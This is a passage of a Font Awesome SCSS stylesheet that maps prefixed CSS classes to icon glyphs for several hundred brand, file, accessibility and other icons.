.#{$fa-css-prefix}-linux:before { content: fa-content($fa-var-linux); }
.#{$fa-css-prefix}-dribbble:before { content: fa-content($fa-var-dribbble); }
.#{$fa-css-prefix}-skype:before { content: fa-content($fa-var-skype); }
.#{$fa-css-prefix}-foursquare:before { content: fa-content($fa-var-foursquare); }
.#{$fa-css-prefix}-trello:before { content: fa-content($fa-var-trello); }
.#{$fa-css-prefix}-female:before { content: fa-content($fa-var-female); }
.#{$fa-css-prefix}-male:before { content: fa-content($fa-var-male); }
.#{$fa-css-prefix}-gittip:before,
.#{$fa-css-prefix}-gratipay:before { content: fa-content($fa-var-gratipay); }
.#{$fa-css-prefix}-sun-o:before { content: fa-content($fa-var-sun-o); }
.#{$fa-css-prefix}-moon-o:before { content: fa-content($fa-var-moon-o); }
.#{$fa-css-prefix}-archive:before { content: fa-content($fa-var-archive); }
.#{$fa-css-prefix}-bug:before { content: fa-content($fa-var-bug); }
.#{$fa-css-prefix}-vk:before { content: fa-content($fa-var-vk); }
.#{$fa-css-prefix}-weibo:before { content: fa-content($fa-var-weibo); }
.#{$fa-css-prefix}-renren:before { content: fa-content($fa-var-renren); }
.#{$fa-css-prefix}-pagelines:before { content: fa-content($fa-var-pagelines); }
.#{$fa-css-prefix}-stack-exchange:before { content: fa-content($fa-var-stack-exchange); }
.#{$fa-css-prefix}-arrow-circle-o-right:before { content: fa-content($fa-var-arrow-circle-o-right); }
.#{$fa-css-prefix}-arrow-circle-o-left:before { content: fa-content($fa-var-arrow-circle-o-left); }
.#{$fa-css-prefix}-toggle-left:before,
.#{$fa-css-prefix}-caret-square-o-left:before { content: fa-content($fa-var-caret-square-o-left); }
.#{$fa-css-prefix}-dot-circle-o:before { content: fa-content($fa-var-dot-circle-o); }
.#{$fa-css-prefix}-wheelchair:before { content: fa-content($fa-var-wheelchair); }
.#{$fa-css-prefix}-vimeo-square:before { content: fa-content($fa-var-vimeo-square); }
.#{$fa-css-prefix}-turkish-lira:before,
.#{$fa-css-prefix}-try:before { content: fa-content($fa-var-try); }
.#{$fa-css-prefix}-plus-square-o:before { content: fa-content($fa-var-plus-square-o); }
.#{$fa-css-prefix}-space-shuttle:before { content: fa-content($fa-var-space-shuttle); }
.#{$fa-css-prefix}-slack:before { content: fa-content($fa-var-slack); }
.#{$fa-css-prefix}-envelope-square:before { content: fa-content($fa-var-envelope-square); }
.#{$fa-css-prefix}-wordpress:before { content: fa-content($fa-var-wordpress); }
.#{$fa-css-prefix}-openid:before { content: fa-content($fa-var-openid); }
.#{$fa-css-prefix}-institution:before,
.#{$fa-css-prefix}-bank:before,
.#{$fa-css-prefix}-university:before { content: fa-content($fa-var-university); }
.#{$fa-css-prefix}-mortar-board:before,
.#{$fa-css-prefix}-graduation-cap:before { content: fa-content($fa-var-graduation-cap); }
.#{$fa-css-prefix}-yahoo:before { content: fa-content($fa-var-yahoo); }
.#{$fa-css-prefix}-google:before { content: fa-content($fa-var-google); }
.#{$fa-css-prefix}-reddit:before { content: fa-content($fa-var-reddit); }
.#{$fa-css-prefix}-reddit-square:before { content: fa-content($fa-var-reddit-square); }
.#{$fa-css-prefix}-stumbleupon-circle:before { content: fa-content($fa-var-stumbleupon-circle); }
.#{$fa-css-prefix}-stumbleupon:before { content: fa-content($fa-var-stumbleupon); }
.#{$fa-css-prefix}-delicious:before { content: fa-content($fa-var-delicious); }
.#{$fa-css-prefix}-digg:before { content: fa-content($fa-var-digg); }
.#{$fa-css-prefix}-drupal:before { content: fa-content($fa-var-drupal); }
.#{$fa-css-prefix}-joomla:before { content: fa-content($fa-var-joomla); }
.#{$fa-css-prefix}-language:before { content: fa-content($fa-var-language); }
.#{$fa-css-prefix}-fax:before { content: fa-content($fa-var-fax); }
.#{$fa-css-prefix}-building:before { content: fa-content($fa-var-building); }
.#{$fa-css-prefix}-child:before { content: fa-content($fa-var-child); }
.#{$fa-css-prefix}-paw:before { content: fa-content($fa-var-paw); }
.#{$fa-css-prefix}-utensil-spoon:before,
.#{$fa-css-prefix}-spoon:before { content: fa-content($fa-var-spoon); }
.#{$fa-css-prefix}-cube:before { content: fa-content($fa-var-cube); }
.#{$fa-css-prefix}-cubes:before { content: fa-content($fa-var-cubes); }
.#{$fa-css-prefix}-behance:before { content: fa-content($fa-var-behance); }
.#{$fa-css-prefix}-behance-square:before { content: fa-content($fa-var-behance-square); }
.#{$fa-css-prefix}-steam:before { content: fa-content($fa-var-steam); }
.#{$fa-css-prefix}-steam-square:before { content: fa-content($fa-var-steam-square); }
.#{$fa-css-prefix}-recycle:before { content: fa-content($fa-var-recycle); }
.#{$fa-css-prefix}-automobile:before,
.#{$fa-css-prefix}-car:before { content: fa-content($fa-var-car); }
.#{$fa-css-prefix}-cab:before,
.#{$fa-css-prefix}-taxi:before { content: fa-content($fa-var-taxi); }
.#{$fa-css-prefix}-tree:before { content: fa-content($fa-var-tree); }
.#{$fa-css-prefix}-spotify:before { content: fa-content($fa-var-spotify); }
.#{$fa-css-prefix}-deviantart:before { content: fa-content($fa-var-deviantart); }
.#{$fa-css-prefix}-soundcloud:before { content: fa-content($fa-var-soundcloud); }
.#{$fa-css-prefix}-database:before { content: fa-content($fa-var-database); }
.#{$fa-css-prefix}-file-pdf-o:before { content: fa-content($fa-var-file-pdf-o); }
.#{$fa-css-prefix}-file-word-o:before { content: fa-content($fa-var-file-word-o); }
.#{$fa-css-prefix}-file-excel-o:before { content: fa-content($fa-var-file-excel-o); }
.#{$fa-css-prefix}-file-powerpoint-o:before { content: fa-content($fa-var-file-powerpoint-o); }
.#{$fa-css-prefix}-file-photo-o:before,
.#{$fa-css-prefix}-file-picture-o:before,
.#{$fa-css-prefix}-file-image-o:before { content: fa-content($fa-var-file-image-o); }
.#{$fa-css-prefix}-file-zip-o:before,
.#{$fa-css-prefix}-file-archive-o:before { content: fa-content($fa-var-file-archive-o); }
.#{$fa-css-prefix}-file-sound-o:before,
.#{$fa-css-prefix}-file-audio-o:before { content: fa-content($fa-var-file-audio-o); }
.#{$fa-css-prefix}-file-movie-o:before,
.#{$fa-css-prefix}-file-video-o:before { content: fa-content($fa-var-file-video-o); }
.#{$fa-css-prefix}-file-code-o:before { content: fa-content($fa-var-file-code-o); }
.#{$fa-css-prefix}-vine:before { content: fa-content($fa-var-vine); }
.#{$fa-css-prefix}-codepen:before { content: fa-content($fa-var-codepen); }
.#{$fa-css-prefix}-jsfiddle:before { content: fa-content($fa-var-jsfiddle); }
.#{$fa-css-prefix}-life-bouy:before,
.#{$fa-css-prefix}-life-buoy:before,
.#{$fa-css-prefix}-life-saver:before,
.#{$fa-css-prefix}-support:before,
.#{$fa-css-prefix}-life-ring:before { content: fa-content($fa-var-life-ring); }
.#{$fa-css-prefix}-circle-o-notch:before { content: fa-content($fa-var-circle-o-notch); }
.#{$fa-css-prefix}-ra:before,
.#{$fa-css-prefix}-resistance:before,
.#{$fa-css-prefix}-rebel:before { content: fa-content($fa-var-rebel); }
.#{$fa-css-prefix}-ge:before,
.#{$fa-css-prefix}-empire:before { content: fa-content($fa-var-empire); }
.#{$fa-css-prefix}-git-square:before { content: fa-content($fa-var-git-square); }
.#{$fa-css-prefix}-git:before { content: fa-content($fa-var-git); }
.#{$fa-css-prefix}-y-combinator-square:before,
.#{$fa-css-prefix}-yc-square:before,
.#{$fa-css-prefix}-hacker-news:before { content: fa-content($fa-var-hacker-news); }
.#{$fa-css-prefix}-tencent-weibo:before { content: fa-content($fa-var-tencent-weibo); }
.#{$fa-css-prefix}-qq:before { content: fa-content($fa-var-qq); }
.#{$fa-css-prefix}-wechat:before,
.#{$fa-css-prefix}-weixin:before { content: fa-content($fa-var-weixin); }
.#{$fa-css-prefix}-send:before,
.#{$fa-css-prefix}-paper-plane:before { content: fa-content($fa-var-paper-plane); }
.#{$fa-css-prefix}-send-o:before,
.#{$fa-css-prefix}-paper-plane-o:before { content: fa-content($fa-var-paper-plane-o); }
.#{$fa-css-prefix}-history:before { content: fa-content($fa-var-history); }
.#{$fa-css-prefix}-circle-thin:before { content: fa-content($fa-var-circle-thin); }
.#{$fa-css-prefix}-heading:before,
.#{$fa-css-prefix}-header:before { content: fa-content($fa-var-header); }
.#{$fa-css-prefix}-paragraph:before { content: fa-content($fa-var-paragraph); }
.#{$fa-css-prefix}-sliders:before { content: fa-content($fa-var-sliders); }
.#{$fa-css-prefix}-share-alt:before { content: fa-content($fa-var-share-alt); }
.#{$fa-css-prefix}-share-alt-square:before { content: fa-content($fa-var-share-alt-square); }
.#{$fa-css-prefix}-bomb:before { content: fa-content($fa-var-bomb); }
.#{$fa-css-prefix}-soccer-ball-o:before,
.#{$fa-css-prefix}-futbol-o:before { content: fa-content($fa-var-futbol-o); }
.#{$fa-css-prefix}-tty:before { content: fa-content($fa-var-tty); }
.#{$fa-css-prefix}-binoculars:before { content: fa-content($fa-var-binoculars); }
.#{$fa-css-prefix}-plug:before { content: fa-content($fa-var-plug); }
.#{$fa-css-prefix}-slideshare:before { content: fa-content($fa-var-slideshare); }
.#{$fa-css-prefix}-twitch:before { content: fa-content($fa-var-twitch); }
.#{$fa-css-prefix}-yelp:before { content: fa-content($fa-var-yelp); }
.#{$fa-css-prefix}-newspaper-o:before { content: fa-content($fa-var-newspaper-o); }
.#{$fa-css-prefix}-wifi:before { content: fa-content($fa-var-wifi); }
.#{$fa-css-prefix}-calculator:before { content: fa-content($fa-var-calculator); }
.#{$fa-css-prefix}-paypal:before { content: fa-content($fa-var-paypal); }
.#{$fa-css-prefix}-google-wallet:before { content: fa-content($fa-var-google-wallet); }
.#{$fa-css-prefix}-cc-visa:before { content: fa-content($fa-var-cc-visa); }
.#{$fa-css-prefix}-cc-mastercard:before { content: fa-content($fa-var-cc-mastercard); }
.#{$fa-css-prefix}-cc-discover:before { content: fa-content($fa-var-cc-discover); }
.#{$fa-css-prefix}-cc-amex:before { content: fa-content($fa-var-cc-amex); }
.#{$fa-css-prefix}-cc-paypal:before { content: fa-content($fa-var-cc-paypal); }
.#{$fa-css-prefix}-cc-stripe:before { content: fa-content($fa-var-cc-stripe); }
.#{$fa-css-prefix}-bell-slash:before { content: fa-content($fa-var-bell-slash); }
.#{$fa-css-prefix}-bell-slash-o:before { content: fa-content($fa-var-bell-slash-o); }
.#{$fa-css-prefix}-trash:before { content: fa-content($fa-var-trash); }
.#{$fa-css-prefix}-copyright:before { content: fa-content($fa-var-copyright); }
.#{$fa-css-prefix}-at:before { content: fa-content($fa-var-at); }
.#{$fa-css-prefix}-eyedropper:before { content: fa-content($fa-var-eyedropper); }
.#{$fa-css-prefix}-paint-brush:before { content: fa-content($fa-var-paint-brush); }
.#{$fa-css-prefix}-birthday-cake:before { content: fa-content($fa-var-birthday-cake); }
.#{$fa-css-prefix}-area-chart:before { content: fa-content($fa-var-area-chart); }
.#{$fa-css-prefix}-pie-chart:before { content: fa-content($fa-var-pie-chart); }
.#{$fa-css-prefix}-line-chart:before { content: fa-content($fa-var-line-chart); }
.#{$fa-css-prefix}-lastfm:before { content: fa-content($fa-var-lastfm); }
.#{$fa-css-prefix}-lastfm-square:before { content: fa-content($fa-var-lastfm-square); }
.#{$fa-css-prefix}-toggle-off:before { content: fa-content($fa-var-toggle-off); }
.#{$fa-css-prefix}-toggle-on:before { content: fa-content($fa-var-toggle-on); }
.#{$fa-css-prefix}-bicycle:before { content: fa-content($fa-var-bicycle); }
.#{$fa-css-prefix}-bus:before { content: fa-content($fa-var-bus); }
.#{$fa-css-prefix}-ioxhost:before { content: fa-content($fa-var-ioxhost); }
.#{$fa-css-prefix}-angellist:before { content: fa-content($fa-var-angellist); }
.#{$fa-css-prefix}-closed-captioning:before,
.#{$fa-css-prefix}-cc:before { content: fa-content($fa-var-cc); }
.#{$fa-css-prefix}-shekel:before,
.#{$fa-css-prefix}-sheqel:before,
.#{$fa-css-prefix}-ils:before { content: fa-content($fa-var-ils); }
.#{$fa-css-prefix}-meanpath:before { content: fa-content($fa-var-meanpath); }
.#{$fa-css-prefix}-buysellads:before { content: fa-content($fa-var-buysellads); }
.#{$fa-css-prefix}-connectdevelop:before { content: fa-content($fa-var-connectdevelop); }
.#{$fa-css-prefix}-dashcube:before { content: fa-content($fa-var-dashcube); }
.#{$fa-css-prefix}-forumbee:before { content: fa-content($fa-var-forumbee); }
.#{$fa-css-prefix}-leanpub:before { content: fa-content($fa-var-leanpub); }
.#{$fa-css-prefix}-sellsy:before { content: fa-content($fa-var-sellsy); }
.#{$fa-css-prefix}-shirtsinbulk:before { content: fa-content($fa-var-shirtsinbulk); }
.#{$fa-css-prefix}-simplybuilt:before { content: fa-content($fa-var-simplybuilt); }
.#{$fa-css-prefix}-skyatlas:before { content: fa-content($fa-var-skyatlas); }
.#{$fa-css-prefix}-cart-plus:before { content: fa-content($fa-var-cart-plus); }
.#{$fa-css-prefix}-cart-arrow-down:before { content: fa-content($fa-var-cart-arrow-down); }
.#{$fa-css-prefix}-gem:before,
.#{$fa-css-prefix}-diamond:before { content: fa-content($fa-var-diamond); }
.#{$fa-css-prefix}-ship:before { content: fa-content($fa-var-ship); }
.#{$fa-css-prefix}-user-secret:before { content: fa-content($fa-var-user-secret); }
.#{$fa-css-prefix}-motorcycle:before { content: fa-content($fa-var-motorcycle); }
.#{$fa-css-prefix}-street-view:before { content: fa-content($fa-var-street-view); }
.#{$fa-css-prefix}-heartbeat:before { content: fa-content($fa-var-heartbeat); }
.#{$fa-css-prefix}-venus:before { content: fa-content($fa-var-venus); }
.#{$fa-css-prefix}-mars:before { content: fa-content($fa-var-mars); }
.#{$fa-css-prefix}-mercury:before { content: fa-content($fa-var-mercury); }
.#{$fa-css-prefix}-intersex:before,
.#{$fa-css-prefix}-transgender:before { content: fa-content($fa-var-transgender); }
.#{$fa-css-prefix}-transgender-alt:before { content: fa-content($fa-var-transgender-alt); }
.#{$fa-css-prefix}-venus-double:before { content: fa-content($fa-var-venus-double); }
.#{$fa-css-prefix}-mars-double:before { content: fa-content($fa-var-mars-double); }
.#{$fa-css-prefix}-venus-mars:before { content: fa-content($fa-var-venus-mars); }
.#{$fa-css-prefix}-mars-stroke:before { content: fa-content($fa-var-mars-stroke); }
.#{$fa-css-prefix}-mars-stroke-v:before { content: fa-content($fa-var-mars-stroke-v); }
.#{$fa-css-prefix}-mars-stroke-h:before { content: fa-content($fa-var-mars-stroke-h); }
.#{$fa-css-prefix}-neuter:before { content: fa-content($fa-var-neuter); }
.#{$fa-css-prefix}-genderless:before { content: fa-content($fa-var-genderless); }
.#{$fa-css-prefix}-facebook-official:before { content: fa-content($fa-var-facebook-official); }
.#{$fa-css-prefix}-pinterest-p:before { content: fa-content($fa-var-pinterest-p); }
.#{$fa-css-prefix}-whatsapp:before { content: fa-content($fa-var-whatsapp); }
.#{$fa-css-prefix}-server:before { content: fa-content($fa-var-server); }
.#{$fa-css-prefix}-user-plus:before { content: fa-content($fa-var-user-plus); }
.#{$fa-css-prefix}-user-times:before { content: fa-content($fa-var-user-times); }
.#{$fa-css-prefix}-hotel:before,
.#{$fa-css-prefix}-bed:before { content: fa-content($fa-var-bed); }
.#{$fa-css-prefix}-viacoin:before { content: fa-content($fa-var-viacoin); }
.#{$fa-css-prefix}-train:before { content: fa-content($fa-var-train); }
.#{$fa-css-prefix}-subway:before { content: fa-content($fa-var-subway); }
.#{$fa-css-prefix}-medium:before { content: fa-content($fa-var-medium); }
.#{$fa-css-prefix}-medium-square:before { content: fa-content($fa-var-medium-square); }
.#{$fa-css-prefix}-yc:before,
.#{$fa-css-prefix}-y-combinator:before { content: fa-content($fa-var-y-combinator); }
.#{$fa-css-prefix}-optin-monster:before { content: fa-content($fa-var-optin-monster); }
.#{$fa-css-prefix}-opencart:before { content: fa-content($fa-var-opencart); }
.#{$fa-css-prefix}-expeditedssl:before { content: fa-content($fa-var-expeditedssl); }
.#{$fa-css-prefix}-battery-4:before,
.#{$fa-css-prefix}-battery:before,
.#{$fa-css-prefix}-battery-full:before { content: fa-content($fa-var-battery-full); }
.#{$fa-css-prefix}-battery-3:before,
.#{$fa-css-prefix}-battery-three-quarters:before { content: fa-content($fa-var-battery-three-quarters); }
.#{$fa-css-prefix}-battery-2:before,
.#{$fa-css-prefix}-battery-half:before { content: fa-content($fa-var-battery-half); }
.#{$fa-css-prefix}-battery-1:before,
.#{$fa-css-prefix}-battery-quarter:before { content: fa-content($fa-var-battery-quarter); }
.#{$fa-css-prefix}-battery-0:before,
.#{$fa-css-prefix}-battery-empty:before { content: fa-content($fa-var-battery-empty); }
.#{$fa-css-prefix}-mouse-pointer:before { content: fa-content($fa-var-mouse-pointer); }
.#{$fa-css-prefix}-i-cursor:before { content: fa-content($fa-var-i-cursor); }
.#{$fa-css-prefix}-object-group:before { content: fa-content($fa-var-object-group); }
.#{$fa-css-prefix}-object-ungroup:before { content: fa-content($fa-var-object-ungroup); }
.#{$fa-css-prefix}-sticky-note:before { content: fa-content($fa-var-sticky-note); }
.#{$fa-css-prefix}-sticky-note-o:before { content: fa-content($fa-var-sticky-note-o); }
.#{$fa-css-prefix}-cc-jcb:before { content: fa-content($fa-var-cc-jcb); }
.#{$fa-css-prefix}-cc-diners-club:before { content: fa-content($fa-var-cc-diners-club); }
.#{$fa-css-prefix}-clone:before { content: fa-content($fa-var-clone); }
.#{$fa-css-prefix}-balance-scale:before { content: fa-content($fa-var-balance-scale); }
.#{$fa-css-prefix}-hourglass-o:before { content: fa-content($fa-var-hourglass-o); }
.#{$fa-css-prefix}-hourglass-1:before,
.#{$fa-css-prefix}-hourglass-start:before { content: fa-content($fa-var-hourglass-start); }
.#{$fa-css-prefix}-hourglass-2:before,
.#{$fa-css-prefix}-hourglass-half:before { content: fa-content($fa-var-hourglass-half); }
.#{$fa-css-prefix}-hourglass-3:before,
.#{$fa-css-prefix}-hourglass-end:before { content: fa-content($fa-var-hourglass-end); }
.#{$fa-css-prefix}-hourglass:before { content: fa-content($fa-var-hourglass); }
.#{$fa-css-prefix}-hand-grab-o:before,
.#{$fa-css-prefix}-hand-rock-o:before { content: fa-content($fa-var-hand-rock-o); }
.#{$fa-css-prefix}-hand-stop-o:before,
.#{$fa-css-prefix}-hand-paper-o:before { content: fa-content($fa-var-hand-paper-o); }
.#{$fa-css-prefix}-hand-scissors-o:before { content: fa-content($fa-var-hand-scissors-o); }
.#{$fa-css-prefix}-hand-lizard-o:before { content: fa-content($fa-var-hand-lizard-o); }
.#{$fa-css-prefix}-hand-spock-o:before { content: fa-content($fa-var-hand-spock-o); }
.#{$fa-css-prefix}-hand-pointer-o:before { content: fa-content($fa-var-hand-pointer-o); }
.#{$fa-css-prefix}-hand-peace-o:before { content: fa-content($fa-var-hand-peace-o); }
.#{$fa-css-prefix}-trademark:before { content: fa-content($fa-var-trademark); }
.#{$fa-css-prefix}-registered:before { content: fa-content($fa-var-registered); }
.#{$fa-css-prefix}-creative-commons:before { content: fa-content($fa-var-creative-commons); }
.#{$fa-css-prefix}-gg:before { content: fa-content($fa-var-gg); }
.#{$fa-css-prefix}-gg-circle:before { content: fa-content($fa-var-gg-circle); }
.#{$fa-css-prefix}-tripadvisor:before { content: fa-content($fa-var-tripadvisor); }
.#{$fa-css-prefix}-odnoklassniki:before { content: fa-content($fa-var-odnoklassniki); }
.#{$fa-css-prefix}-odnoklassniki-square:before { content: fa-content($fa-var-odnoklassniki-square); }
.#{$fa-css-prefix}-get-pocket:before { content: fa-content($fa-var-get-pocket); }
.#{$fa-css-prefix}-wikipedia-w:before { content: fa-content($fa-var-wikipedia-w); }
.#{$fa-css-prefix}-safari:before { content: fa-content($fa-var-safari); }
.#{$fa-css-prefix}-chrome:before { content: fa-content($fa-var-chrome); }
.#{$fa-css-prefix}-firefox:before { content: fa-content($fa-var-firefox); }
.#{$fa-css-prefix}-opera:before { content: fa-content($fa-var-opera); }
.#{$fa-css-prefix}-internet-explorer:before { content: fa-content($fa-var-internet-explorer); }
.#{$fa-css-prefix}-tv:before,
.#{$fa-css-prefix}-television:before { content: fa-content($fa-var-television); }
.#{$fa-css-prefix}-contao:before { content: fa-content($fa-var-contao); }
.#{$fa-css-prefix}-500px:before { content: fa-content($fa-var-500px); }
.#{$fa-css-prefix}-amazon:before { content: fa-content($fa-var-amazon); }
.#{$fa-css-prefix}-calendar-plus-o:before { content: fa-content($fa-var-calendar-plus-o); }
.#{$fa-css-prefix}-calendar-minus-o:before { content: fa-content($fa-var-calendar-minus-o); }
.#{$fa-css-prefix}-calendar-times-o:before { content: fa-content($fa-var-calendar-times-o); }
.#{$fa-css-prefix}-calendar-check-o:before { content: fa-content($fa-var-calendar-check-o); }
.#{$fa-css-prefix}-industry:before { content: fa-content($fa-var-industry); }
.#{$fa-css-prefix}-map-pin:before { content: fa-content($fa-var-map-pin); }
.#{$fa-css-prefix}-map-signs:before { content: fa-content($fa-var-map-signs); }
.#{$fa-css-prefix}-map-o:before { content: fa-content($fa-var-map-o); }
.#{$fa-css-prefix}-map:before { content: fa-content($fa-var-map); }
.#{$fa-css-prefix}-commenting:before { content: fa-content($fa-var-commenting); }
.#{$fa-css-prefix}-commenting-o:before { content: fa-content($fa-var-commenting-o); }
.#{$fa-css-prefix}-houzz:before { content: fa-content($fa-var-houzz); }
.#{$fa-css-prefix}-vimeo-v:before,
.#{$fa-css-prefix}-vimeo:before { content: fa-content($fa-var-vimeo); }
.#{$fa-css-prefix}-black-tie:before { content: fa-content($fa-var-black-tie); }
.#{$fa-css-prefix}-fonticons:before { content: fa-content($fa-var-fonticons); }
.#{$fa-css-prefix}-reddit-alien:before { content: fa-content($fa-var-reddit-alien); }
.#{$fa-css-prefix}-edge:before { content: fa-content($fa-var-edge); }
.#{$fa-css-prefix}-credit-card-alt:before { content: fa-content($fa-var-credit-card-alt); }
.#{$fa-css-prefix}-codiepie:before { content: fa-content($fa-var-codiepie); }
.#{$fa-css-prefix}-modx:before { content: fa-content($fa-var-modx); }
.#{$fa-css-prefix}-fort-awesome:before { content: fa-content($fa-var-fort-awesome); }
.#{$fa-css-prefix}-usb:before { content: fa-content($fa-var-usb); }
.#{$fa-css-prefix}-product-hunt:before { content: fa-content($fa-var-product-hunt); }
.#{$fa-css-prefix}-mixcloud:before { content: fa-content($fa-var-mixcloud); }
.#{$fa-css-prefix}-scribd:before { content: fa-content($fa-var-scribd); }
.#{$fa-css-prefix}-pause-circle:before { content: fa-content($fa-var-pause-circle); }
.#{$fa-css-prefix}-pause-circle-o:before { content: fa-content($fa-var-pause-circle-o); }
.#{$fa-css-prefix}-stop-circle:before { content: fa-content($fa-var-stop-circle); }
.#{$fa-css-prefix}-stop-circle-o:before { content: fa-content($fa-var-stop-circle-o); }
.#{$fa-css-prefix}-shopping-bag:before { content: fa-content($fa-var-shopping-bag); }
.#{$fa-css-prefix}-shopping-basket:before { content: fa-content($fa-var-shopping-basket); }
.#{$fa-css-prefix}-hashtag:before { content: fa-content($fa-var-hashtag); }
.#{$fa-css-prefix}-bluetooth:before { content: fa-content($fa-var-bluetooth); }
.#{$fa-css-prefix}-bluetooth-b:before { content: fa-content($fa-var-bluetooth-b); }
.#{$fa-css-prefix}-percent:before { content: fa-content($fa-var-percent); }
.#{$fa-css-prefix}-gitlab:before { content: fa-content($fa-var-gitlab); }
.#{$fa-css-prefix}-wpbeginner:before { content: fa-content($fa-var-wpbeginner); }
.#{$fa-css-prefix}-wpforms:before { content: fa-content($fa-var-wpforms); }
.#{$fa-css-prefix}-envira:before { content: fa-content($fa-var-envira); }
.#{$fa-css-prefix}-universal-access:before { content: fa-content($fa-var-universal-access); }
.#{$fa-css-prefix}-wheelchair-alt:before { content: fa-content($fa-var-wheelchair-alt); }
.#{$fa-css-prefix}-question-circle-o:before { content: fa-content($fa-var-question-circle-o); }
.#{$fa-css-prefix}-blind:before { content: fa-content($fa-var-blind); }
.#{$fa-css-prefix}-audio-description:before { content: fa-content($fa-var-audio-description); }
.#{$fa-css-prefix}-phone-volume:before,
.#{$fa-css-prefix}-volume-control-phone:before { content: fa-content($fa-var-volume-control-phone); }
.#{$fa-css-prefix}-braille:before { content: fa-content($fa-var-braille); }
.#{$fa-css-prefix}-assistive-listening-systems:before { content: fa-content($fa-var-assistive-listening-systems); }
.#{$fa-css-prefix}-asl-interpreting:before,
.#{$fa-css-prefix}-american-sign-language-interpreting:before { content: fa-content($fa-var-american-sign-language-interpreting); }
.#{$fa-css-prefix}-deafness:before,
.#{$fa-css-prefix}-hard-of-hearing:before,
.#{$fa-css-prefix}-deaf:before { content: fa-content($fa-var-deaf); }
.#{$fa-css-prefix}-glide:before { content: fa-content($fa-var-glide); }
.#{$fa-css-prefix}-glide-g:before { content: fa-content($fa-var-glide-g); }
.#{$fa-css-prefix}-signing:before,
.#{$fa-css-prefix}-sign-language:before { content: fa-content($fa-var-sign-language); }
.#{$fa-css-prefix}-low-vision:before { content: fa-content($fa-var-low-vision); }
.#{$fa-css-prefix}-viadeo:before { content: fa-content($fa-var-viadeo); }
.#{$fa-css-prefix}-viadeo-square:before { content: fa-content($fa-var-viadeo-square); }
.#{$fa-css-prefix}-snapchat:before { content: fa-content($fa-var-snapchat); }
.#{$fa-css-prefix}-snapchat-ghost:before { content: fa-content($fa-var-snapchat-ghost); }
.#{$fa-css-prefix}-snapchat-square:before { content: fa-content($fa-var-snapchat-square); }
.#{$fa-css-prefix}-first-order:before { content: fa-content($fa-var-first-order); }
.#{$fa-css-prefix}-yoast:before { content: fa-content($fa-var-yoast); }
.#{$fa-css-prefix}-themeisle:before { content: fa-content($fa-var-themeisle); }
.#{$fa-css-prefix}-google-plus-circle:before,
.#{$fa-css-prefix}-google-plus-official:before { content: fa-content($fa-var-google-plus-official); }
.#{$fa-css-prefix}-fa:before,
.#{$fa-css-prefix}-font-awesome:before { content: fa-content($fa-var-font-awesome); }
.#{$fa-css-prefix}-handshake-o:before { content: fa-content($fa-var-handshake-o); }
.#{$fa-css-prefix}-envelope-open:before { content: fa-content($fa-var-envelope-open); }
.#{$fa-css-prefix}-envelope-open-o:before { content: fa-content($fa-var-envelope-open-o); }
.#{$fa-css-prefix}-linode:before { content: fa-content($fa-var-linode); }
.#{$fa-css-prefix}-address-book:before { content: fa-content($fa-var-address-book); }
.#{$fa-css-prefix}-address-book-o:before { content: fa-content($fa-var-address-book-o); }
.#{$fa-css-prefix}-vcard:before,
.#{$fa-css-prefix}-address-card:before { content: fa-content($fa-var-address-card); }
.#{$fa-css-prefix}-vcard-o:before,
.#{$fa-css-prefix}-address-card-o:before { content: fa-content($fa-var-address-card-o); }
.#{$fa-css-prefix}-user-circle:before { content: fa-content($fa-var-user-circle); }
.#{$fa-css-prefix}-user-circle-o:before { content: fa-content($fa-var-user-circle-o); }
.#{$fa-css-prefix}-user-o:before { content: fa-content($fa-var-user-o); }
.#{$fa-css-prefix}-id-badge:before { content: fa-content($fa-var-id-badge); }
.#{$fa-css-prefix}-drivers-license:before,
.#{$fa-css-prefix}-id-card:before { content: fa-content($fa-var-id-card); }
.#{$fa-css-prefix}-drivers-license-o:before,
.#{$fa-css-prefix}-id-card-o:before { content: fa-content($fa-var-id-card-o); }
.#{$fa-css-prefix}-quora:before { content: fa-content($fa-var-quora); }
.#{$fa-css-prefix}-free-code-camp:before { content: fa-content($fa-var-free-code-camp); }
.#{$fa-css-prefix}-telegram:before { content: fa-content($fa-var-telegram); }
.#{$fa-css-prefix}-thermometer-4:before,
.#{$fa-css-prefix}-thermometer:before,
.#{$fa-css-prefix}-thermometer-full:before { content: fa-content($fa-var-thermometer-full); }
.#{$fa-css-prefix}-thermometer-3:before,
.#{$fa-css-prefix}-thermometer-three-quarters:before { content: fa-content($fa-var-thermometer-three-quarters); }
.#{$fa-css-prefix}-thermometer-2:before,
.#{$fa-css-prefix}-thermometer-half:before { content: fa-content($fa-var-thermometer-half); }
.#{$fa-css-prefix}-thermometer-1:before,
.#{$fa-css-prefix}-thermometer-quarter:before { content: fa-content($fa-var-thermometer-quarter); }
.#{$fa-css-prefix}-thermometer-0:before,
.#{$fa-css-prefix}-thermometer-empty:before { content: fa-content($fa-var-thermometer-empty); }
.#{$fa-css-prefix}-shower:before { content: fa-content($fa-var-shower); }
.#{$fa-css-prefix}-bathtub:before,
.#{$fa-css-prefix}-s15:before,
.#{$fa-css-prefix}-bath:before { content: fa-content($fa-var-bath); }
.#{$fa-css-prefix}-podcast:before { content: fa-content($fa-var-podcast); }
.#{$fa-css-prefix}-window-maximize:before { content: fa-content($fa-var-window-maximize); }
.#{$fa-css-prefix}-window-minimize:before { content: fa-content($fa-var-window-minimize); }
.#{$fa-css-prefix}-window-restore:before { content: fa-content($fa-var-window-restore); }
.#{$fa-css-prefix}-times-rectangle:before,
.#{$fa-css-prefix}-window-close:before { content: fa-content($fa-var-window-close); }
.#{$fa-css-prefix}-times-rectangle-o:before,
.#{$fa-css-prefix}-window-close-o:before { content: fa-content($fa-var-window-close-o); }
.#{$fa-css-prefix}-bandcamp:before { content: fa-content($fa-var-bandcamp); }
.#{$fa-css-prefix}-grav:before { content: fa-content($fa-var-grav); }
.#{$fa-css-prefix}-etsy:before { content: fa-content($fa-var-etsy); }
.#{$fa-css-prefix}-imdb:before { content: fa-content($fa-var-imdb); }
.#{$fa-css-prefix}-ravelry:before { content: fa-content($fa-var-ravelry); }
.#{$fa-css-prefix}-eercast:before { content: fa-content($fa-var-eercast); }
.#{$fa-css-prefix}-microchip:before { content: fa-content($fa-var-microchip); }
.#{$fa-css-prefix}-snowflake-o:before { content: fa-content($fa-var-snowflake-o); }
.#{$fa-css-prefix}-superpowers:before { content: fa-content($fa-var-superpowers); }
.#{$fa-css-prefix}-wpexplorer:before { content: fa-content($fa-var-wpexplorer); }
.#{$fa-css-prefix}-meetup:before { content: fa-content($fa-var-meetup); }
